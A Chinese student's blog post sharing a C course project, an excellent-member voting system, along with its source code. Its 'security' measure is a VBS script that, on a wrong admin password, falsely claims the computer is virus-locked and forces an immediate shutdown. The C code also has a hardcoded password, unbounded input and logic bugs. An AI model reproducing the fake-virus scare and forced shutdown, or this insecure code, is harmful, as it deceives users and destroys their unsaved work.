C語言課設 投票管理系統
學生黨一枚,大二的時候,學校讓做C語言課程設計,我選了“投票管理系統”。C語言水的很,寫出來之後,自己感覺良好,答辯的時候罵的老慘,可成績卻是第一。[\dog][\dog][\dog]
文末見程式碼,有五個檔案,如圖。
第一個是儲存投票的磁碟檔案,防止系統關閉後資料丟失。第二個是C程式碼,第三個是程式。第四個是一個強制關機的VBS檔案。
C語言程式碼:
#include<stdio.h> #include<stdlib.h> #include<string.h> int flap[10]={0}; //用於統計得票數
struct student{ //結構體變數,儲存優秀團員資訊 char name[30]; char sex; char nation[12]; //民族 int id; //學號 int age; int score; //綜合成績 }student_num[10]={ //人員名單 "郭明德",'M',"漢族",16120,20,95, "李澤輝",'M',"漢族",16119,19,95, "謝寶劍",'M',"漢族",16101,19,95, };
main(){ printf("\n歡迎來到 通訊工程16級 優秀團員投票系統!"); int fun_vote(); // 投票函式 int fun_rank(); // 檢視當前排名函式 int fun_search(); //搜尋成員函式 int fun_add(); //增加優秀團員數目函式 int fun_in_record(); //寫入投票函式 int fun_out_record(); //讀取投票函式 int fun_manager(); //高階管理員許可權函式 int fun_report(); //舉報函式 int fun_door(char *x[20],int y); //寫入磁碟檔案資料函式 int fun_menu(); //選單函式 fun_out_record(); //獲取當前投票情況 fun_menu(); };
fun_vote(){ //投票函式 int i; //用於輸出團員資訊 int j; //用於接受投票的學號 printf("當前參與競選人員有:\n"); for(i=0; i<10; i++){ //輸出團員資訊 if(student_num[i].id!=0) printf("%s(080703%d) ",student_num[i].name,student_num[i].id); else break; } printf("\n請輸入你選舉的人員的學號(最後五位):"); scanf("%d",&j); for(i=0; i<10; i++){ if (j!=0 && j==student_num[i].id){ printf("\n投票成功,感謝您投出寶貴的一票!"); flap[i]++; fun_in_record(); break; } } if(i==10) printf("\n投票失敗!你輸入的學號不存在!"); return fun_menu(); }
fun_rank(){ //檢視當前排名函式 int max,i,j,a,k=0; for(j=0; j<10; j++){ if(student_num[j].id==0) continue; //提高效率 max=flap[j];a=j; for(i=1; i<10;i++) //獲取最大的數字的序號 if(flap[i]!=0) if(max<flap[i]) a=i; printf("第%d名:%s 得票數:%d\n",++k,student_num[a].name,flap[a]); // 排名輸出 flap[a]=0; if(flap[j]!=0) j=0; } fun_out_record(); //排序結束重新獲取投票情況 return fun_menu(); };
fun_search(){ //搜尋成員函式 int num,i; printf("請輸入你要搜尋的成員的學號(最後五位):"); scanf("%d",&num); if(num<16100 || num>16244){ //提高搜尋效率,減小不必要的迴圈 printf("\n輸入的學號錯誤!\n"); return 1; } for(i=0; i<10; i++){ if(student_num[i].id==0) continue; //提高搜尋效率 else if(num==student_num[i].id){ //搜尋成功時的輸出 printf("\n姓名:%s 性別:%c 學號:080703%d",student_num[i].name,student_num[i].sex,student_num[i].id); printf("\n民族:%s 年齡:%d 成績:%d",student_num[i].nation,student_num[i].age,student_num[i].score); printf("\n當前得票數:%d",flap[i]); break; } } if(i==10){ printf("學號不存在!"); //搜尋失敗,結束程式 printf("\n你想推薦 TA 為優秀團員嗎?(1、確認):"); scanf("%d",&num); if(num==1) fun_add(); else printf("你已退出搜尋!\n"); return fun_menu(); } printf("\n你想投 TA 一票嗎?(1 確認):"); scanf("%d",&num); //搜尋成功,確認是否投票 if(num==1){ flap[i]++; fun_in_record(); printf("\n投票成功,感謝您投出寶貴的一票!"); }else printf("你已退出投票系統!\n"); return fun_menu(); }
fun_manager(){ //高階管理員許可權函式 int i; int password,news; printf("請輸入管理員密碼:"); scanf("%d",&password); if(password==8866){ printf("您獲得管理員許可權!可修改或刪除任何相關資訊!\n"); for(i=0; i<10; i++){ //輸出所有成員資訊 if(student_num[i].id==0) continue; printf("\n姓名:%s 性別:%c 學號:080703%d",student_num[i].name,student_num[i].sex,student_num[i].id); printf("\n民族:%s 年齡:%d 成績:%d",student_num[i].nation,student_num[i].age,student_num[i].score); printf("\n當前得票數:%d\n",flap[i]); } }else{ system("warning.vbs"); //安全防護,對非管理員電腦執行強制關機 return 1; } return fun_menu(); };
fun_in_record(){ //寫入投票函式 int i; //將投票資料儲存到file1.txt磁碟檔案中 FILE *fpWrite=fopen("file1.txt","w"); if(fpWrite==NULL) { printf("無法開啟檔案\n"); exit(0); } for(i=0; i<10; i++){ fprintf(fpWrite,"%d ",flap[i]); } fclose(fpWrite); return 0; };
fun_out_record(){ //讀取投票函式 //從file1.txt磁碟檔案中讀出投票資料 int i; FILE *fpRead=fopen("file1.txt","r"); if(fpRead==NULL) { printf("無法開啟檔案\n"); exit(0); } for(i=0;i<10;i++) fscanf(fpRead,"%d ",&flap[i]); fclose(fpRead); };
fun_add(){ //增加優秀團員數目函式 int i,j; for(i=0; i<10; i++) if(student_num[i].id==0) break; //檢查當前是否可以增加推薦人數 if(i==10){ printf("參與選舉的人數已達上限!已關閉推薦成員功能!");return fun_menu(); } printf("\n請輸入你推薦的人員的學號(五位):"); //檢查學號的有效性 scanf("%d",&student_num[i].id); if(student_num[i].id<16100 || student_num[i].id>16244){ printf("投票失敗!不存在該學號!\n"); return fun_menu(); } for(j=0; j<i; j++) if(student_num[j].id == student_num[i].id){ printf("存在該學號!請勿推薦!\n"); return fun_menu(); } printf("請輸入你推薦的人員的姓名:"); scanf("%s",&student_num[i].name); fun_door(&student_num[i].name,student_num[i].id); //將推薦資料寫入磁碟檔案 printf("推薦成功!感謝你的參與!管理員正在處理~"); return fun_menu(); };
fun_report(){ //舉報函式 int i; char abc[20]="舉報"; printf("你確定要舉報嗎?(1 確定):"); scanf("%d",&i); if(i==1) printf("請輸入你要舉報的人的學號(五位):"); //檢查舉報學號的有效性 else { printf("你已退出舉報!\n"); return fun_menu(); } scanf("%d",&i); if(i<16100 || i>16244){ printf("舉報失敗!不存在該學號!\n"); return fun_menu(); } else{ fun_door(abc,i); // 將舉報資訊輸入磁碟檔案 printf("舉報成功!正在通知老師!感謝你的配合!"); } return fun_menu(); };
fun_door(char *x[20],int y){ //寫入磁碟檔案資料函式 //將資料儲存到file1.txt磁碟檔案中 FILE *fpWrite=fopen("file1.txt","a"); if(fpWrite==NULL) { printf("無法開啟檔案\n"); exit(0); } fprintf(fpWrite,"\n\n%s ",x); fprintf(fpWrite,"%d",y); fclose(fpWrite); };
fun_menu(){ //選單函式 int power_num; printf("\n\n1、參與投票\n"); printf("2、檢視當前排名\n"); printf("3、搜尋被選舉成員\n"); printf("4、推薦優秀團員\n"); printf("5、高階管理員許可權\n"); printf("6、舉報\n"); printf("0、退出\n"); printf("請選擇你要執行的功能:"); scanf("%d",&power_num); switch(power_num){ case 1: fun_vote();break; case 2: fun_rank();break; case 3: fun_search();break; case 4: fun_add();break; case 5: fun_manager();break; case 6: fun_report();break; case 0: exit(0); default:printf("功能尚未開通或發生未知錯誤!請聯絡管理員!");exit(0); } }
VBS程式碼:
msgbox"密碼錯誤!你的計算機已被內嵌病毒鎖定!"+VbCrLf+"請在60分鐘內聯絡管理員解鎖 或 解除相關程式。" wscript.sleep 1000 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true
VBS檔案有點裝逼。其他都還好,感覺自己寫的很水,給各位水友看看,順便紀念一下。